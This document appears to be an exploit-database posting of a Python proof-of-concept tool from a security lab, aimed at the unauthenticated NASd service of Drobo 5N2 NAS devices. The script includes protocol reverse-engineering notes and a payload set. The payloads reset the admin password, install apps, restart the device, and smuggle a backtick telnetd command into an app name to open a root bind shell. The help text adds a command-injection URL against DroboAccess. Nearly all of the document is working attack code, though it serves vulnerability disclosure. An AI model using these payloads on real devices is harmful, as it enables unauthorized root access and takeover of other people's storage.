Drobo 5N2 4.1.1 – Remote Command Injection

# Exploit Title: Drobo 5N2 4.1.1 - Remote Command Injection

# Date: 2020-03-12

# Exploit Author: Rick Ramgattie, Ian Sindermann

# Vendor Homepage: https://www.drobo.com/

# Version: 4.1.1 and lower.

# CVE: CVE-2018-14709, CVE-2018-14701

###

#!/usr/bin/env python3

# nasty.py - A proof-of-concept utility for (maliciously) interacting with the Drobo NASd service.

# This utility leverages the lack of any real authentication mechanism to perform arbitrary actions.

# These actions include:

# - Getting device status.

# - Installing applications.

# - Resetting admin credentials.

# - Popping root shells.

# - Turning on party mode.

# This set of exploits is known to affect the Drobo 5N2, firmware version 4.1.1 and lower.

# As of 2020-03-12, newer firmware versions appear to be vulnerable as well, but this has not been verified.

# Most of the Drobo product line also appears to be vulnerable. Again, this has not been verified.

# These vulnerabilities were disclosed to the manufacturer on 2018-07-10.

# More vulnerabilities for this device may be found here: https://blog.securityevaluators.com/4f1d885df7fc

###

# Product of ISE Labs.

# - http://www.securityevaluators.com/

# - @ISESecurity

###

# RE Notes:

# ,-- Encryption bool?

# Handshake Preamble: * /\

# 44 52 49 4e 45 54 54 4d 07 01 00 00 00 00 00 88

# \_____________________/ \_________/ \_________/

# Static string. To/from Size of

# "DIRNETTM" server? next message

#

# Handshake

# 64 72 61 31 37 33 32 30 32 33 30 30 30 31 30 00 00 00 00 00 64 72 61 31 37 33 32 30 32 33 30 30 30 31 30 00 00 00 00 00 00 00...

# \______________________________________________/ \_________/ \_______________________________________________/ \_________________-->

# Device serial number with NULL padding. NULL Device serial number with NULL padding. ESAID? 88 bytes of NULL

# "dra173202300010" "dra173202300010"

#

# The stat port returns an "ESAID" value that is identical to the serial number on this device (5N2).

# One of the serial numbers in this packet may actually be the ESAID.

#

# Preamble: *

# 44 52 49 4e 45 54 54 4d 0a 01 00 00 00 00 00 88

# \_____________________/ \_________/ \_________/

# Static string. To/from Size of

# "DIRNETTM" server? next message

#

# Message:

# XX XX XX XX XX XX XX XX 00

# \_____________________/ \/

# Arbitrary length string NULL terminator

#

# Protocol flow:

# Initial handshake: ,----- 2nd nibble in 3rd section is different. "07 01 00 00" instead of "0a 01 00 00" #TODO: why?

# | c -> s: Preamble. <-' \_

# | c -> s: Message: Handshake / `- These two are normally sent as one packet.

# v c <- s: Preamble. <-------- 2nd nibble in 3rd section is different. "87 01 00 00" instead of "8a 01 00 00" #TODO: why?

# Loop:

# +> c -> s: Preamble.

# | c -> s: Message: Command.

# | c <- s: Preamble.

# +- c <- s: Message: Results. > Large responses are split into chunks. Must use size from preamble.

import argparse

import logging

import re

import socket

import struct

import sys

LOG_FORMAT = '[%(levelname)s]: %(message)s'

BUFFER_SIZE = 1024

HANDSHAKE_PREAMBLE = b'\x44\x52\x49\x4e\x45\x54\x54\x4d\x07\x01\x00\x00'

PREAMBLE = b'\x44\x52\x49\x4e\x45\x54\x54\x4d\x0a\x01\x00\x00'

PREAMBLE_LEN = 16

# Note: Payloads usually contain the device's serial number. Replace this with

# '{serial}' so `send_msg` can insert the target's serial.

PAYLOADS = {

"daccess" :'<TMCmd><CmdID>78</CmdID><Params><Name>DroboAccess</Name><Action>Install</Action><Data>ftp://updates.drobo.com/droboapps/2.1/downloads/DroboAccess.tgz</Data></Params><ESAID>{serial}</ESAID></TMCmd>',

"dropbear":'<TMCmd><CmdID>78</CmdID><Params><Name>dropbear</Name><Action>Install</Action><Data>ftp://updates.drobo.com/droboapps/2.1/downloads/dropbear.tgz</Data></Params><ESAID>{serial}</ESAID></TMCmd>',

"getadmin":'<TMCmd><CmdID>30</CmdID><Params><DRINasAdminConfig>DRINasAdminConfig</DRINasAdminConfig><DRINasDroboAppsConfig>DRINasDroboAppsConfig</DRINasDroboAppsConfig></Params><ESAID>{serial}</ESAID></TMCmd>',

"getnet" :'<TMCmd><CmdID>30</CmdID><ESAID>{serial}</ESAID><Params><Network>Network</Network></Params></TMCmd>',

"gettemp" :'<TMCmd><CmdID>61</CmdID><ESAID>{serial}</ESAID></TMCmd>',

"partyon" :'<TMCmd><CmdID>26</CmdID><Params><IdentifyInterval>900</IdentifyInterval></Params><ESAID>{serial}</ESAID></TMCmd>',

"partyoff":'<TMCmd><CmdID>26</CmdID><Params><IdentifyInterval>0</IdentifyInterval></Params><ESAID>{serial}</ESAID></TMCmd>',

"popit" :'<TMCmd><CmdID>78</CmdID><Params><Name>Drobo`telnetd -l $SHELL -p 8383`Access</Name><Action>Install</Action><Data>bork</Data></Params><ESAID>{serial}</ESAID></TMCmd>',

"restart" :'<TMCmd><CmdID>21</CmdID><ESAID>{serial}</ESAID></TMCmd>',

"setadmin":'<TMCmd><CmdID>31</CmdID><Params><DRINASConfig><DRINasAdminConfig><UserName>admin</UserName><Password>ono</Password><ValidPassword>1</ValidPassword><EncryptedPassword>0</EncryptedPassword></DRINasAdminConfig><DRINasDroboAppsConfig><Version>11</Version><Enabled>1</Enabled></DRINasDroboAppsConfig></DRINASConfig></Params><ESAID>{serial}</ESAID></TMCmd>',

"test" :'<TMCmd><CmdID>82</CmdID><Params><Time>1521161215</Time><GMTOffset>4294966876</GMTOffset></Params><ESAID>{serial}</ESAID></TMCmd>',

"stdin" :'Handled elsewhere.'}

DEFAULT_PORT_STAT = 5000

DEFAULT_PORT_CMD = 5001

DEFAULT_TIMEOUT = None

HELP_EPILOG='''

PAYLOADS

daccess - Installs DroboAccess on the target device. At the time of writing,

DroboAccess has numerous unauthenticated command injection

vulnerabilities. Try the following:

GET /DroboAccess/delete_user?username=test';/usr/sbin/telnetd -l /bin/sh -p 8383

- A long delay and response of "<Error>0</Error>" is expected.

dropbear - Installs dropbear on the target device.

- A response of "<Error>0</Error>" is expected.

getadmin - Returns the target's current (redacted) admin configuration.

gettemp - Returns the target's system info (temperature and uptime).

getnet - Returns the target's network info.

partyon - Enables "party mode" on the target. This will cause the target

device's lights to blink for 15 minutes.

partyoff - Prematurely disables "party mode".

popit - Exploits CVE-2019-6801 to spawn a root bind shell on port 8383.

- A response of "<Error>1</Error>" is expected.

restart - Restarts the target device.

setadmin - Sets administrative options on the target.

- Username: admin

- Password: ono

- Apps enabled: yes

stdin - Reads data from STDIN and sends it as a command.

'''

def recv_message(s):

preamble = s.recv(PREAMBLE_LEN)

msg_len = struct.unpack(">I", preamble[-4:])[0] # Parse expected message length from preamble.

message = ''

if msg_len <= 0:

return(message)

while True:

message += s.recv(BUFFER_SIZE).decode('utf-8')

if len(message) >= msg_len:

return(message) # There will be a null at the end. It should be fine.

def send_handshake(s, serial):

serial_bytes = serial.encode('utf-8')

hs_body = struct.pack("16s", serial_bytes) # 16 byte padded string containing device serial number.

hs_body += struct.pack(">I", 0) # 4 byte field, presumably uint, only seen as zero.

hs_body += struct.pack("16s", serial_bytes) # 16 byte padded string containing device serial number. again...

hs_body += struct.pack("184x") # 184 bytes of NULL padding.

size_bytes = struct.pack(">I", len(hs_body)) # Size of message body. Send with preamble.

hs_data = HANDSHAKE_PREAMBLE + size_bytes + hs_body

logging.debug(repr(hs_data))

s.send(hs_data)

def send_message(s, serial, message):

msg_body = message.format(serial=serial) # Add target device's serial number.

msg_body_bytes = msg_body.encode('utf-8')

msg_body_bytes += struct.pack("x") # NULL terminator.

size_bytes = struct.pack(">I", len(msg_body_bytes)) # Size of XML body. Send with preamble.

msg_data = PREAMBLE + size_bytes + msg_body_bytes

logging.debug(repr(msg_data))

s.send(msg_data)

aparser = argparse.ArgumentParser(

description='nasty.py - A proof-of-concept utility for (maliciously) interacting with the Drobo NASd service.',

epilog=HELP_EPILOG,

formatter_class=argparse.RawDescriptionHelpFormatter)

aparser.add_argument("host", help='Host or IP address of the target Drobo.')

aparser.add_argument("payload", help='Payload to use. See PAYLOADS.')

aparser.add_argument("-p", "--portstat", help='Specify a non-default stat port on the Drobo.', default=DEFAULT_PORT_STAT, type=int)

aparser.add_argument("-P", "--portcmd", help='Specify a non-default command port on the Drobo.', default=DEFAULT_PORT_CMD, type=int)

aparser.add_argument("-s", "--serial", help='Manually set the target serial number. Skips serial number detection.')

aparser.add_argument("-t", "--timeout", help='Set a timeout in seconds for socket operations.', default=DEFAULT_TIMEOUT, type=float)

aparser.add_argument("-v", "--verbose", help='Increase verbosity.', action='store_true')

args = aparser.parse_args()

# Basic check for color support.

if sys.stdout.isatty() and sys.platform in ["linux","linux2","darwin"]:

logging.addLevelName(logging.NOTSET, "\033[39m????\033[0m")

logging.addLevelName(logging.DEBUG, "\033[37mDBUG\033[0m")

logging.addLevelName(logging.INFO, "\033[96mINFO\033[0m")

logging.addLevelName(logging.WARNING, "\033[93mWARN\033[0m")

logging.addLevelName(logging.ERROR, "\033[95mERRR\033[0m")

logging.addLevelName(logging.CRITICAL, "\033[91mCRIT\033[0m")

else:

logging.addLevelName(logging.NOTSET, "????")

logging.addLevelName(logging.DEBUG, "DBUG")

logging.addLevelName(logging.INFO, "INFO")

logging.addLevelName(logging.WARNING, "WARN")

logging.addLevelName(logging.ERROR, "ERRR")

logging.addLevelName(logging.CRITICAL, "CRIT")

if args.verbose:

logging.basicConfig(format=LOG_FORMAT, level=logging.DEBUG)

else:

logging.basicConfig(format=LOG_FORMAT, level=logging.INFO)

if args.payload == 'stdin':

logging.info("Reading payload from STDIN.")

payload_xml = sys.stdin.read()

logging.debug(payload_xml)

else:

payload_xml = PAYLOADS[args.payload]

logging.info("Connecting...")

# Connect to the stat port. This is required for the cmd port to work.

# The stat port also gives us the serial number.

sock_stat = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock_stat.settimeout(args.timeout)

sock_stat.connect((args.host, args.portstat))

# Connect to the cmd port.

sock_cmd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock_cmd.settimeout(args.timeout)

sock_cmd.connect((args.host, args.portcmd))

# Pull the serial number from the stat port.

logging.info("Pulling serial number...")

stat_msg = sock_stat.recv(BUFFER_SIZE)

if args.serial:

serial = args.serial

else:

m = re.search('<mSerial>([^<]+)</mSerial>', stat_msg.decode('utf-8'))

if not m:

logging.critical("Could not determine target's serial number!")

logging.debug(stat_msg)

sys.exit(100)

serial = m.group(1)

logging.info("Identified serial: " + serial)

# Perform a handshake with the cmd port. Requires the serial num.

logging.info('Performing handshake...')

send_handshake(sock_cmd, serial)

recv_message(sock_cmd) # Blank response - trash.

# Send the payload.

logging.info("Sending payload...")

send_message(sock_cmd, serial, payload_xml)

logging.info("Waiting for response...")

resp = recv_message(sock_cmd)

logging.info("Response:\n" + resp)

# Cleanup.

sock_cmd.close()

sock_stat.close()

logging.info("Donezo.")

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